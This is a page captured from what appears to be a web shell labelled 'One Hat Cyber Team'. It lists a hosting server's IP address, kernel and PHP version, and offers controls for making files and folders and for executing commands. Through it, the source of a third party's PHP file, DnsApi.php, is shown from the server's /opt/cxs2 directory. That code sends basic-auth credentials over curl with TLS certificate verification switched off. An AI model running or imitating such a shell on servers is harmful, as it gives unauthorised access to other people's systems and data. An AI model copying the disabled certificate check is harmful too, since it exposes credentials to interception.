One Hat Cyber Team
Your IP :
216.73.217.131
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
libs
/
View File Name :
DnsApi.php
<?php /** * DnsApi, Simple DnsApi call * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2018.06.08. * @package CXS_2.0 */ use Phalcon\Di\FactoryDefault\Cli; class DnsApi { /** * Call DNS API * * @param string|null $request * @return array|null */ public static function query(?string $request = '/'): ?array { $config = Cli::getDefault()->get('config')->dnsapi; $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, $config->hostname . $request); \curl_setopt($ch, \CURLOPT_HEADER, false); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, true); \curl_setopt($ch, \CURLOPT_SSL_VERIFYPEER, false); \curl_setopt($ch, \CURLOPT_HTTPAUTH, \CURLAUTH_BASIC); \curl_setopt($ch, \CURLOPT_USERPWD, $config->username . ':' . $config->password); $response = \json_decode(\curl_exec($ch), true); if (\curl_errno($ch) != 0) { return null; } \curl_close($ch); return $response; } }